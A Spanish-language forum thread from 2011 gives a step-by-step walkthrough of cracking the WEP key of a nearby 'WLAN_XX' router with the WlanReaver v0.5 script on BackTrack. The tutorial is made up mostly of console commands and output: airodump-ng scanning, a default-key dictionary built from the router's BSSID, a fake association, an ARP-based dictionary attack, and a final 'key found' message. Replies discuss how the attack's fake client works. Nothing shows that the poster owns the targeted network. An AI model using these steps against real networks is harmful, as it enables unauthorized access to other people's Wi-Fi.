Probando WLANREAVER v0.5

Iniciado por kikerap, Septiembre 02, 2011, 07:54:49 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hace unos dias vi un post sobre esta herramienta, creo que de Comandante Linux, y tenía pensado probarla. Me encontre una red de estas redes WLAN_XX, confiaba en que tenía la contraseña de fábrica, asi que me dispuse a capturar uno 6 o 7 paquetes para luego pasarle el correspondiente diccionario ...... pero no habia manera, el router no soltaba ni uno, ademas no había clientes ......

Me dispongo ha hacer una reinyección de peticiones arp, y no habia manera de sacarle un paquete (tampoco quería esperar mucho). Podia haber probado otros ataques pero, ahi tenemos una buena ocasión de probar el wlanreaver v0.5.

Esta vez os muestro lo que hize: auditoria a una típica red WLAN_XX con contraseña por defecto desde BackTrack 4 rc2 (live cd).

Vamos a empezar, el script se basa en la utilización de un diccionario para los ataques, ya sea crear uno "nuevo" con StrinGenerator, o con un patrón, con las demás herramientas.

Una cosa, como es un script y todo se hace por consola, paso de sacar la fotito, editarla y subirla al server :) ... asi que copio y pego de la consola. Tambien voy a omitir lo de poner la tarjeta en modo monitor, spoofing de la mac y algunos comandos no relacionados con el script ..... si, asi es ;) .

Lanzamos un airodump-ng para ver los datos necesarios:

Código: php

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

E0:91:XX:XX:XX:XX  -68      303        0    0   6  54 . WEP  WEP         WLAN_XX


Bien, descargamos el paquete desde la web oficial:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En mi caso lo tengo en esta ruta: /root/wlr-0.5.tar.gz

Lo extraemos:
Código: php

root@bt:~# tar -zxf wlr-0.5.tar.gz


Nos metemos en el directorio creado:

Código: php

root@bt:~# cd wlanreaver/


Y ya podemos ejecutarlo:

Código: php

root@bt:~/wlanreaver# ./wlanreaver
Usage: arping [-fqbDUAV] [-c count] [-w timeout] [-I device] [-s source] destination
  -f : quit on first reply
  -q : be quiet
  -b : keep broadcasting, don't go unicast
  -D : duplicate address detection mode
  -U : Unsolicited ARP mode, update your neighbours
  -A : ARP answer mode, update your neighbours
  -V : print version and exit
  -c count : how many packets to send
  -w timeout : how long to wait for a reply
  -I device : which ethernet device to use (eth0)
  -s source : source ip address
  destination : ask for what ip address

NO TIENES INSTALADO "ARPING" O TU VERSION NO ES COMPATIBLE CON EL SCRIPT !!!

El "arping" usado por el script no es compatible con el arping de
las "iputils". Este paquete es usado por el gestor de conexiones
Network-Manager incluido en muchas distribuciones por defecto.

Se instalara otro gestor de conexiones (WICD) solo en distribuciones
que usen el sistema de paquetes .deb

HAZLO BAJO TU PROPIA RESPONSABILIDAD.

Deseas instalar una version compatible con el script (S/N)? s

1) Distribuciones basadas en Debian como Ubuntu, BT4... (paquetes .deb).
2) Otras distribuciones (compilacion de codigo).

Elige el tipo de distribucion:


Como veis el script se inicia correctamente, y nos manda instalar arping (desinstalará iputils-arping) y wicd (desinstalará network-manager), por eso recomiendo utilizar un live cd. Los paquetes estan contenido en el archivo ".tar.gz" asi que los instalará automaticamente, y ya podemos trabajar con el script.

Lo primero que vamos ha hacer es generar un diccionario para nuestra red WLAN_XX (opción 4), y nos pedirá unos cuantos datos, obtenidos previamente en el airodump-ng que lanzamos (los diccionarios estan en el directorio "/wlanreaver/dicc"):

Código: php

========================================================
     WlanReaver v0.5 by |FluiD| / Jose CSS (Feb. 2011)
           [http://www.seguridadwireless.net]
========================================================
0) Ayuda.
1) Inyeccion ARP.
2) Ataque de diccionario.
========================================================
GENERADORES DE DICCIONARIOS:
----------------------------
3) StrinGenerator    v1.3
4) WlanDecrypter     v1.3.2
5) JazztelDecrypter  v0.2.1
6) Wlan4xx           v0.1.2
7) Ono4xx            v0.0.2a
----------------------------
8) Borrar diccionarios => (0).
========================================================
  9) Wavemon=(on)            10) Rate=(NA)
11) Quality=(NA)            12) Logs=(off)
13) Borrar temporales y logs => (0).
14) Ataque de diccionario: Modo turbo.
========================================================
Elige una opcion: 4

wlandecrypter v1.3.2 (2011/02/02) [http://www.seguridadwireless.net]
2006 Nilp0inteR  2007-09 dudux  2010 BlackHole  2009-11 NirozMe|on

Introduce el BSSID (MAC) del AP/router: E0:91:XX:XX:XX:XX
Introduce el ESSID del AP/router (WLAN_XX): WLAN_XX
Introduce el nombre del diccionario a crear: dic_wlan_xx.txt

wlandecrypter v1.3.2 (2011/02/02) [http://www.seguridadwireless.net]

[+] BSSID: E0:91:XX:XX:XX:XX
[+] Modelo: Xavi 7968-Solos 4610RD/461x
[+] Generando fichero de claves: dicc/dic_wlan_xx.txt
[+] Fichero guardado OK
[+] Generadas 65536 claves (896 KB)
[+] Proceso finalizado con exito

Pulsa INTRO para continuar...


Una vez que tenemos el diccionario vamos realizar el ataque (opción 2), y damos los datos que nos pide. Como veis, nos pide un adaptador en MODO MANAGED, que es el "modo normal" de una tarjeta de red. También nos pedirá la ip del router, la opción por defecto es 192.168.1.1 pero puede ser 192.168.0.1 o cualquiera segun la haya puesto el admin, aunque se puede saber con otras aplicaciones que no vienen al caso. Podeis definir tambien la ip que utilizareis vosotros, por defecto la elije al azar.

El tipo de cifrado, dependerá del contenido del diccionario, en nuestro caso es ASCII. Y por último el tiempo de espera, que ya lo explica ahi.

Código: php

========================================================
     WlanReaver v0.5 by |FluiD| / Jose CSS (Feb. 2011)
           [http://www.seguridadwireless.net]
========================================================
0) Ayuda.
1) Inyeccion ARP.
2) Ataque de diccionario.
========================================================
GENERADORES DE DICCIONARIOS:
----------------------------
3) StrinGenerator    v1.3
4) WlanDecrypter     v1.3.2
5) JazztelDecrypter  v0.2.1
6) Wlan4xx           v0.1.2
7) Ono4xx            v0.0.2a
----------------------------
8) Borrar diccionarios => (1).
========================================================
  9) Wavemon=(on)            10) Rate=(NA)
11) Quality=(NA)            12) Logs=(off)
13) Borrar temporales y logs => (0).
14) Ataque de diccionario: Modo turbo.
========================================================
Elige una opcion: 2

Diccionarios disponibles:
-------------------------
dic_wlan_xx.txt
-------------------------
Elige el diccionario: dic_wlan_xx.txt

Selecciona un adaptador EN MODO "MANAGED".
Adaptadores detectados:
------------------------
eth0
irda0
wlan0
wlan1
mon0
------------------------
Adaptador de red?: wlan0

Introduce el BSSID (MAC) del AP/router: E0:91:XX:XX:XX:XX
Introduce el ESSID del AP/router (sensible a mayus/minus): WLAN_XX

Introduce la IP del AP/router (INTRO => 192.168.1.1):
Introduce la IP del cliente falso a asociar (INTRO => 192.168.1.x):

Tipo de cifrado WEP:
--------------------
1) ASCII (dicc. con 5 o 13 caracteres => WLAN_XX / JAZZTEL_XX / WLANXXXXXX...
2) HEX   (dicc. con 10 o 26 caracteres)
----------------
Elige el cifrado WEP (INTRO => ASCII):

Introduce el numero de ARPs a enviar por cada clave (INTRO => 2): 5

====================================================
         Tiempo de espera entre intentos (ms)
----------------------------------------------------
         [1-2] .................. Muy rapido
         [3-5] .................. Rapido
         [6-10] ................. Moderado
         [11-50] ................ Normal
         [51-100] ............... Lento
----------------------------------------------------
* A mayor velocidad, menor probabilidad de acierto *
Los tiempos de 1ms y 2ms NO ESTAN RECOMENDADOS, ya
que producen tasas muy elevadas de falsos negativos.
====================================================

Introduce el tiempo de espera entre intentos: 6

Levantando interfaz (wlan0)...
Estableciendo ESSID (WLAN_XX)...
Estableciendo IP del cliente (192.168.1.125)...
Estableciendo cifrado WEP (ASCII)...
Asociando con WLAN_XX (E0:91:XX:XX:XX:XX)...
ASOCIACION FALSA CORRECTA !!!

Iniciando ataque de diccionario...

[x:xx] Probadas 100 claves. Ultima: XXXXXXXXXXXXX
[x:xx] Probadas 200 claves. Ultima: XXXXXXXXXXXXX
[x:xx] Probadas 300 claves. Ultima: XXXXXXXXXXXXX
[x:xx] Probadas 400 claves. Ultima: XXXXXXXXXXXXX
[x:xx] Probadas 500 claves. Ultima: XXXXXXXXXXXXX
[x:xx] Probadas 600 claves. Ultima: XXXXXXXXXXXXX
[x:xx] Probadas 700 claves. Ultima: XXXXXXXXXXXXX
[x:xx] Probadas 800 claves. Ultima: XXXXXXXXXXXXX
[x:xx] Probadas 900 claves. Ultima: XXXXXXXXXXXXX
[x:xx] Probadas 1000 claves. Ultima: XXXXXXXXXXXXX

Velocidad de comprobacion: 12.27 claves/s.


Y a partir de aqui, el script se encarga de lo demás, cabe destacar que nos lanza 2 terminales con las aplicaciónes Wavemon, y Link-Quality, meramente informativas.



Si aun teneis lanzado el airodump-ng, vereis que suben los datas, pero no os emocioneis, estos paquetes no os servirán para nada:

Código: php

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

E0:91:XX:XX:XX:XX  -69  96    18108   121785   65   6  54 . WEP  WEP    OPN  WLAN_XX

BSSID              STATION            PWR   Rate    Lost  Packets  Probes

E0:91:XX:XX:XX:XX  00:11:22:33:44:55    0    6 -54      0   121861  WLAN_XX


Podeis hacer la prueba lanzando el aircrack-ng:

Código: php

root@bt:~/wlanreaver/dicc# aircrack-ng -w dic_wlan_xx.txt /root/captura_wlan_xx-01.cap
Opening /root/captura_wlan_xx-01.cap
Read 113673 packets.

   #  BSSID              ESSID                     Encryption

   1  E0:91:XX:XX:XX:XX  WLAN_XX                   WEP (108670 IVs)

Choosing first network as target.

Opening /root/captura_wlan_xx-01.cap

                                                                       Aircrack-ng 1.1 r1738


                                                       [00:00:02] Tested 61596 keys (got 108670 IVs)

   KB    depth   byte(vote)
    0    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0)
    1    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0)
    2    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0)
    3    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0)
    4    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0)
    5    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0)
    6    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0)
    7    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0)
    8    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0)
    9    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0)
   10    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0)
   11    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0)
   12    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0)



Quitting aircrack-ng...


Y después de poco/mucho esperar:

Código: php

[xx:xx] Probadas 30100 claves. Ultima: XXXXXXXXXXXXX
[xx:xx] Probadas 30200 claves. Ultima: XXXXXXXXXXXXX
[xx:xx] Probadas 30300 claves. Ultima: XXXXXXXXXXXXX
[xx:xx] Probadas 30400 claves. Ultima: XXXXXXXXXXXXX
[xx:xx] Probadas 30500 claves. Ultima: XXXXXXXXXXXXX

CLAVE ENCONTRADA !!! ----------> XXXXXXXXXXXXX <----------



pd: Cuando me disponia a ejecutar el ataque 1) Inyeccion ARP, se blokeo el backtrack (será por lo de live cd), asi que eso lo probais vosotros :).



Que bien! Lei por ahi que no tenias clientes para capturar paquetes. Y luego vi esto:

Código: php
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

E0:91:XX:XX:XX:XX  -69  96    18108   121785   65   6  54 . WEP  WEP    OPN  WLAN_XX

BSSID              STATION            PWR   Rate    Lost  Packets  Probes

E0:91:XX:XX:XX:XX  00:11:22:33:44:55    0    6 -54      0   121861  WLAN_XX


Y me di cuenta de que el cliente en este caso sos vos mismo, ya que esa es tu mac fake por llamarla de alguna manera.

He notado que una suite llamada wifite, hace algo similar, genera sus propios clientes y a partir de eso saca el handshake o los data.

Es solo una acotacion para tener en cuenta

Excelente aporte kikerap!!


Si :), es que lo que hace el script es enviar arpings al router, probando cada clave del diccionario, esperando a que el router conteste a la clave correcta.

El cliente que se ve, es mi propia interfaz wlan0 (que no esta en modo monitor, por supuesto), enviando un montón de arpings.

Otra cosa, si no podeis ejecutarlo con  ./wlanreaver , especificad el binario asi,   perl wlanreaver .